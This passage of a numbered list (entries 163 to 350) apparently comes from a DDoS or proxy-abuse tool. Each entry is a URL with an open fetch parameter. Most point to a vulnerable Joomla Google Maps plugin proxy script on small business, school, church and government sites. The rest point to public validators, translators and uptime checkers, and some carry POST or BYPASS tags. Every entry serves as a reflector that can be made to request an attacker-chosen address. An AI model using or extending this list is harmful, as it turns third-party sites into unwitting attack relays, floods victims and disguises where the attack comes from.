http://coastalcenter.net/plugins/system/plugin_googlemap2_proxy.php?url= 163 | http://whitehousesurgery.org/plugins/content/plugin_googlemap2_proxy.php?url= 164 | http://www.vertexi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 165 | http://www.owl.cat/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 166 | http://www.sizzlebistro.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 167 | http://thebluepine.com/plugins/system/plugin_googlemap2_proxy.php?url= 168 | http://donellis.ie/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 169 | http://validator.w3.org/unicorn/check?ucn_task=conformance&ucn_uri= 170 | http://validator.w3.org/nu/?doc= 171 | http://check-host.net/check-http?host= 172 | http://www.netvibes.com/subscribe.php?url= 173 | http://www-test.cisel.ch/web/plugins/content/plugin_googlemap2_proxy.php?url= 174 | http://www.sistem5.net/ww/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 175 | http://www.fmradiom.hu/palosvorosmart/plugins/content/plugin_googlemap2_proxy.php?url= 176 | http://www.iguassusoft.com/site/plugins/content/plugin_googlemap2_proxy.php?url= 177 | http://lab.univ-batna.dz/lea/plugins/system/plugin_googlemap2_proxy.php?url= 178 | http://www.computerpoint3.it/cp3/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 179 | http://hotel-veles.com/plugins/content/plugin_googlemap2_proxy.php?url= 180 | http://klaassienatuinstra.nl/plugins/content/plugin_googlemap2_proxy.php?url= 181 | http://www.google.com/ig/add?feedurl= 182 | http://anonymouse.org/cgi-bin/anon-www.cgi/ 183 | http://www.google.com/translate?u= 184 | http://translate.google.com/translate?u= 185 | http://validator.w3.org/feed/check.cgi?url= 186 | http://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs= 187 | http://validator.w3.org/check?uri= 188 | http://jigsaw.w3.org/css-validator/validator?uri= 189 | http://validator.w3.org/checklink?uri= 190 | http://qa-dev.w3.org/unicorn/check?ucn_task=conformance&ucn_uri= 191 | http://www.w3.org/RDF/Validator/ARPServlet?URI= 192 | http://www.w3.org/2005/08/online_xslt/xslt?xslfile=http%3A%2F%2Fwww.w3.org%2F2002%2F08%2Fextract-semantic.xsl&xmlfile= 193 | http://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile= 194 | http://www.w3.org/services/tidy?docAddr= 195 | http://validator.w3.org/mobile/check?docAddr= 196 | http://validator.w3.org/p3p/20020128/p3p.pl?uri= 197 | http://validator.w3.org/p3p/20020128/policy.pl?uri= 198 | http://online.htmlvalidator.com/php/onlinevallite.php?url= 199 | http://feedvalidator.org/check.cgi?url= 200 | http://gmodules.com/ig/creator?url= 201 | http://www.google.com/ig/adde?moduleurl= 202 | http://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1= 203 | http://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl= 204 | http://host-tracker.com/check_page/?furl= 205 | http://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target= 206 | http://www.viewdns.info/ismysitedown/?domain= 207 | http://www.onlinewebcheck.com/check.php?url= 208 | http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL= 209 | http://www.translate.ru/url/translation.aspx?direction=er&sourceURL= 210 | http://about42.nl/www/showheaders.php;POST;about42.nl.txt 211 | http://browsershots.org;POST;browsershots.org.txt 212 | http://streamitwebseries.twww.tv/proxy.php?url= 213 | http://www.comicgeekspeak.com/proxy.php?url= 214 | http://67.20.105.143/bitess/plugins/content/plugin_googlemap2_proxy.php?url= 215 | http://bemaxjavea.com/javea-rentals-alquileres/plugins/content/plugin_googlemap2_proxy.php?url= 216 | http://centrobrico.net/plugins/content/plugin_googlemap2_proxy.php?url= 217 | http://conodeluz.org/magnanet/plugins/content/plugin_googlemap2_proxy.php?url= 218 | http://greenappledentaldt.com/home/templates/plugins/content/plugin_googlemap2_proxy.php?url= 219 | http://html.strost.ch/dgi/plugins/content/plugin_googlemap2_proxy.php?url= 220 | http://ijzerhandeljanssen.nl/web/plugins/content/plugin_googlemap2_proxy.php?url= 221 | http://kobbeleia.net/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 222 | http://krd-medway.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url= 223 | http://link2europe.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 224 | http://minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url= 225 | http://old.ucpb.org/plugins/content/plugin_googlemap2_proxy.php?url= 226 | http://peelmc.ca/plugins/content/plugin_googlemap2_proxy.php?url= 227 | http://s2p.lt/main/plugins/content/plugin_googlemap2_proxy.php?url= 228 | http://smartonecity.com/pt/plugins/content/plugin_googlemap2_proxy.php?url= 229 | http://snelderssport.nl/web/plugins/content/plugin_googlemap2_proxy.php?url= 230 | http://sunnyhillsassistedliving.com/plugins/content/plugin_googlemap2_proxy.php?url= 231 | http://thevintagechurch.com/www2/index.php?url=/plugins/content/plugin_googlemap2_proxy.php?url= 232 | http://www.abc-haus.ch/reinigung/plugins/content/plugin_googlemap2_proxy.php?url= 233 | http://www.abs-silos.de/en/plugins/content/plugin_googlemap2_proxy.php?url= 234 | http://www.admksg.ru/plugins/content/plugin_googlemap2_proxy.php?url= 235 | http://www.alhambrahotel.net/site/plugins/content/plugin_googlemap2_proxy.php?url= 236 | http://www.aliento.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url= 237 | http://www.autoklyszewski.pl/autoklyszewski/mambots/content/plugin_googlemap2_proxy.php?url= 238 | http://www.build.or.at/plugins/content/plugin_googlemap2_proxy.php?url= 239 | http://www.caiverbano.it/sito/plugins/content/plugin_googlemap2_proxy.php?url= 240 | http://www.cbcstittsville.com/home/plugins/content/plugin_googlemap2_proxy.php?url= 241 | http://www.ciutatdeivissa.org/portal/plugins/content/plugin_googlemap2_proxy.php?url= 242 | http://www.contrau.com.br/web/plugins/content/plugin_googlemap2_proxy.php?url= 243 | http://www.dierenhotelspaubeek.nl/plugins/content/plugin_googlemap2_proxy.php?url= 244 | http://www.fotorima.com/rima/site2/plugins/content/plugin_googlemap2_proxy.php?url= 245 | http://www.gaston-schul.nl/DU/plugins/content/plugin_googlemap2_proxy.php?url= 246 | http://www.gaston-schul.nl/FR/plugins/content/plugin_googlemap2_proxy.php?url= 247 | http://www.gillinghamgurdwara.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url= 248 | http://www.gilmeuble.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url= 249 | http://www.hortonmccormick.com/cms/plugins/content/plugin_googlemap2_proxy.php?url= 250 | http://www.icel.be/cms/plugins/content/plugin_googlemap2_proxy.php?url= 251 | http://www.idea-designer.com/idea/plugins/content/plugin_googlemap2_proxy.php?url= 252 | http://www.jana-wagenknecht.de/wcms/plugins/content/plugin_googlemap2_proxy.php?url= 253 | http://www.kanzlei-berendes.de/homepage/plugins/content/plugin_googlemap2_proxy.php?url= 254 | http://www.kita-spielhaus.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 255 | http://www.kjg-hemer.de/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 256 | http://www.labonnevie-guesthouse-jersey.com/site/plugins/content/plugin_googlemap2_proxy.php?url= 257 | http://www.lacasaencarilo.com.ar/sitio/plugins/content/plugin_googlemap2_proxy.php?url= 258 | http://www.losaromos-spa.com.ar/cms/plugins/content/plugin_googlemap2_proxy.php?url= 259 | http://www.losaromos-spa.com.ar/~losaromo/cms/plugins/content/plugin_googlemap2_proxy.php?url= 260 | http://www.nickclift.co.uk/web/plugins/content/plugin_googlemap2_proxy.php?url= 261 | http://www.oliebollen.me/plugins/content/plugin_googlemap2_proxy.php?url= 262 | http://www.palagini.it/palagini/plugins/content/plugin_googlemap2_proxy.php?url= 263 | http://www.paro-nl.com/v2/plugins/content/plugin_googlemap2_proxy.php?url= 264 | http://www.parsifaldisco.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 265 | http://www.podosys.com/csm/plugins/content/plugin_googlemap2_proxy.php?url= 266 | http://www.precak.sk/penzion/plugins/content/plugin_googlemap2_proxy.php?url= 267 | http://www.pyrenees-cerdagne.com/plugins/content/plugin_googlemap2_proxy.php?url= 268 | http://www.renault-windisch.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 269 | http://www.rethinkingjournalism.com/plugins/content/plugin_googlemap2_proxy.php?url= 270 | http://www.riegler-dorner.at/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 271 | http://www.sealyham.sk/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 272 | http://www.seevilla-dr-sturm.at/cms/plugins/content/plugin_googlemap2_proxy.php?url= 273 | http://www.siroki.it/newsite/plugins/content/plugin_googlemap2_proxy.php?url= 274 | http://www.sounders.es/plugins/content/plugin_googlemap2_proxy.php?url= 275 | http://www.suelcasa.com/suelcasa/plugins/content/plugin_googlemap2_proxy.php?url= 276 | http://www.tcl.lu/Site/plugins/content/plugin_googlemap2_proxy.php?url= 277 | http://www.tijssen-staal.nl/site/plugins/content/plugin_googlemap2_proxy.php?url= 278 | http://www.triatarim.com.tr/TriaEn/plugins/content/plugin_googlemap2_proxy.php?url= 279 | http://www.tus-haltern.de/site/plugins/content/plugin_googlemap2_proxy.php?url= 280 | http://www.uchlhr.com/plugins/content/plugin_googlemap2_proxy.php?url= 281 | http://www.virmcc.de/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 282 | http://www.visitsliven.com/bg/plugins/content/plugin_googlemap2_proxy.php?url= 283 | http://www.vm-esslingen.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 284 | http://www.yigilca.gov.tr/_tr/plugins/content/plugin_googlemap2_proxy.php?url= 285 | http://www.zahnarzt-buhl.de/praxis/plugins/content/plugin_googlemap2_proxy.php?url= 286 | http://www.sultanpalace.nl/site/plugins/content/plugin_googlemap2_proxy.php?url= 287 | http://www.bergenpol.com/cms//plugins/content/plugin_googlemap2_proxy.php?url= 288 | http://www.arantzabelaikastola.com/webgunea//plugins/content/plugin_googlemap2_proxy.php?url= 289 | http://www.fare-furore.com/plugins/content/plugin_googlemap2_proxy.php?url= 290 | http://www.dog-ryusen.com/plugins/system/plugin_googlemap2_proxy.php?url= 291 | http://www.dunaexpert.hu/home/plugins/content/plugin_googlemap2_proxy.php?url= 292 | http://www.spvgg-roedersheim.de/web/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 293 | http://www.stephanus-web.de/joomla1015/mambots/content/plugin_googlemap2_proxy.php?url= 294 | http://www.dahlnet.no/v2/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 295 | http://ping-admin.ru/index.sema;POST;ping-admin.ru.txt 296 | http://web-sniffer.net/?url= 297 | http://www.map-mc.com/plugins/system/plugin_googlemap2_proxy.php?url= 298 | http://sova-tour.com.ua/plugins/system/plugin_googlemap2_proxy.php?url= 299 | http://diegoborba.com.br/andes/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 300 | http://karismatic.com.my/new/plugins/content/plugin_googlemap2_proxy.php?url= 301 | http://scu-oldesloe.de/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 302 | http://www.awf.co.nz/plugins/system/plugin_googlemap3_proxy.php?url= 303 | http://translate.yandex.ru/translate?srv=yasearch&lang=ru-uk&url= 304 | http://translate.yandex.ua/translate?srv=yasearch&lang=ru-uk&url= 305 | http://translate.yandex.net/tr-url/ru-uk.uk/ 306 | http://www.oldbrogue.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 307 | http://www.mcdp.eu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 308 | http://www.phimedia.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 309 | http://www.bongert.lu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 310 | http://laresmadrid.org/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 311 | http://www.epcelektrik.com/en/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 312 | http://doleorganic.com/plugins/content/plugin_googlemap2_proxy.php?url= 313 | http://crawfordlivestock.com/plugins/system/plugin_googlemap2_proxy.php?url= 314 | http://www.aculaval.com/joomla/plugins/system/plugin_googlemap2_proxy.php?url= 315 | http://grandsultansaloon.com/plugins/system/plugin_googlemap2_proxy.php?url= 316 | http://www.d1010449.cp.blacknight.com/cpr.ie/plugins/content/plugin_googlemap2_proxy.php?url= 317 | http://www.architettaresas.it/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 318 | http://basketgbkoekelare.be/plugins/content/plugin_googlemap2_proxy.php?url= 319 | http://www.arbitresmultisports.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 320 | http://mobilrecord.com/plugins/content/plugin_googlemap2_proxy.php?url= 321 | http://www.oldbrogue.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 322 | http://www.mcdp.eu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 323 | http://www.dbaa.co.za/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 324 | http://waggum-bevenrode.sg-bevenrode.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 325 | http://bwsnt1.pdsda.net/plugins/system/plugin_googlemap3_proxy.php?url= 326 | http://www.astecdisseny.com/plugins/content/plugin_googlemap2_proxy.php?url= 327 | http://www.fillmorefairways.com/plugins/content/plugin_googlemap2_proxy.php?url= 328 | http://www.bus-reichert.eu/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 329 | http://www.maxxxi.ru/plugins/system/plugin_googlemap2_proxy.php?url= 330 | http://potholepeople.co.nz/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 331 | http://www.hammondgolf.com/plugins/system/plugin_googlemap2_proxy.php?url= 332 | http://www.footgoal33.com/plugins/content/plugin_googlemap2_proxy.php?url= 333 | http://www.printingit.ie/plugins/content/plugin_googlemap2_proxy.php?url= 334 | http://bbtoma.com/plugins/content/plugin_googlemap2_proxy.php?url= 335 | http://www.tajmahalrestaurant.co.za/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 336 | http://www.yerbabuenacuisine.com/plugins/system/plugin_googlemap2_proxy.php?url= 337 | http://www.rinner-alm.com/plugins/system/plugin_googlemap2_proxy.php?url= 338 | http://stockbridgetownhall.co.uk/plugins/content/plugin_googlemap2_proxy.php?url= 339 | http://mentzerrepairs.com/plugins/system/plugin_googlemap2_proxy.php?url= 340 | http://www.tilmouthwell.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 341 | http://www.homevisionsinc.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 342 | http://toddlers.nalanda.edu.in/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 343 | http://cultura-city.rv.ua/plugins/system/plugin_googlemap3_proxy.php?url= 344 | http://secret.leylines.info/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 345 | http://bike-electric.co.uk/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 346 | http://www.centroaquaria.com/plugins/content/plugin_googlemap2_proxy.php?url= 347 | http://agenzia-anna.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 348 | http://www.gretnadrug.com/plugins/system/plugin_googlemap2_proxy.php?url= 349 | http://www.crestwoodpediatric.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 350 | http://www.oceans-wien.com/plugins/system/plugin_googlemap2_proxy.php?url=;BYPASS --------------------------------------------------------------------------------